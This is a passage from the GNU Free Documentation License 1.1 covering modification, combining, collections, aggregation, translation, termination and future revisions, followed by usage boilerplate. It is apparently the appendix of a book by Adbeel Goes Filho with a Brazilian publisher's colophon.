"Endorsements". Such a section may not be included in the Modified  Version. N.N. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant  Section. O.If   the   Modified   Version   includes   new   front­matter   sections   or   appendices   that   qualify   as  Secondary Sections and contain no material copied from the Document, you may at your option  designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant  Sections   in   the Modified Version's  license  notice.  These  titles  must  be  distinct  from  any  other  Adbeel Goes Filho

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section titles. You may add a section entitled "Endorsements", provided it contains nothing but endorsements of  your Modified Version by various parties­­for example, statements of peer review or that the text has  been approved by an organization as the authoritative definition of a standard.  You may add a passage of up to five words as a Front­Cover Text, and a passage of up to 25 words  as a Back­Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one  passage of Front­Cover Text and one of Back­Cover Text may be added by (or through arrangements  made   by)   any   one   entity.   If   the   Document   already   includes   a   cover   text   for   the   same   cover,  previously added by you or by arrangement made by the same entity you are acting on behalf of, you  may not add another; but you may replace the old one, on explicit permission from the previous  publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their  names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS You may combine the Document with other documents released under this License, under the terms  defined in section 4 above for modified versions, provided that you include in the combination all of  the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant  Sections of your combined work in its license notice. The combined work need only contain one copy of this License, and multiple identical Invariant  Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same  name but different contents, make the title of each such section unique by adding at the end of it, in  parentheses, the name of the original author or publisher of that section if known, or else a unique  number. Make the same adjustment to the section titles in the list of Invariant Sections in the license  notice of the combined work. In   the   combination,   you   must   combine   any   sections   entitled   "History"   in   the   various   original  documents,   forming   one   section   entitled   "History";   likewise   combine   any   sections   entitled  "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled  "Endorsements." 6. COLLECTIONS OF DOCUMENTS You may make a collection consisting of the Document and other documents released under this  License, and replace the individual copies of this License in the various documents with a single  copy   that   is   included   in   the   collection,   provided   that   you   follow   the   rules   of   this   License   for  verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individually under this  License, provided you insert a copy of this License into the extracted document, and follow this  License in all other respects regarding verbatim copying of that document. 7. AGGREGATION WITH INDEPENDENT WORKS A compilation of the Document or its derivatives with other separate and independent documents or  works, in or on a volume of a storage or distribution medium, does not as a whole count as a  Modified   Version   of   the   Document,   provided   no   compilation   copyright   is   claimed   for   the  compilation. Such a compilation is called an "aggregate", and this this License does not apply to the  other   self­contained   works   thus   compiled   with   the   Document,   on   account   of   their   being   thus  compiled,   if   they   are   not   themselves   derivative   works   of   the   Document.   If   the   Cover   Text  requirement of section 3 is applicable to these copies of the Document, then if the Document is less  than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that  surround only the Document within the aggregate. Otherwise they must appear on covers around the  Adbeel Goes Filho

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whole aggregate. 8. TRANSLATION Translation is considered a kind of modification, so you may distribute translations of the Document  under   the   terms   of   section   4.   Replacing   Invariant   Sections   with   translations   requires   especial  permission from their copyright holders, but you may include translations of some or all Invariant  Sections   in   addition   to   the   original   versions   of   these   Invariant   Sections.   You   may   include   a  translation   of   this   License   provided   that   you   also   include   the   original   English   version   of   this  License. In case of a disagreement between the translation and the original English version of this  License, the original English version will prevail. 9. TERMINATION You may not copy, modify, sublicense, or distribute the Document except as expressly provided for  under this License. Any other attempt to copy, modify, sublicense or distribute the Document is  void, and will automatically terminate your rights under this License. However, parties who have  received copies, or rights, from you under this License will not have their licenses terminated so  long as such parties remain in full compliance. 10. FUTURE REVISIONS OF THIS LICENSE The Free Software Foundation may publish new, revised versions of the GNU Free Documentation  License from time to time. Such new versions will be similar in spirit to the present version, but  may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. each  version of the License is given a distinguishing version number. If the Document specifies that a  particular numbered version of this License "or any later version" applies to it, you have the option  of following the terms and conditions either of that specified version or of any later version that has  been published (not as a draft) by the Free Software Foundation. If the Document does not specify a  version number of this License, you may choose any version ever published (not as a draft) by the  Free Software Foundation.  How to use this License for your documents. To use this License in a document you have written, include a copy of the License in the document  and put the following copyright and license notices just after the title page: Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU  Free   Documentation   License,   Version   1.1   or   any   later   version   published   by   the   Free   Software  Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front­Cover Texts  being LIST, and with the Back­Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License". If you  have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are  invariant. If you have no Front­Cover Texts, write "no Front­Cover Texts" instead of "Front­Cover  Texts being LIST"; likewise for Back­Cover Texts. If your document contains nontrivial examples of program code, we recommend releasing these  examples in parallel under your choice of free software license, such as the GNU General Public  License, to permit their use in free software.

Adbeel Goes Filho

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Este trabalho foi composto e editado eletronicamente no Núcleo de  Informática da VIRTVS Engenharia e Informática Ltda Rua Cel. Ribeiro da Silva, 391. Monte Castelo. Fortaleza­Ceará. Telefone: 0 xx 85 32833124. http://www.virtvs.com.br

Adbeel Goes Filho

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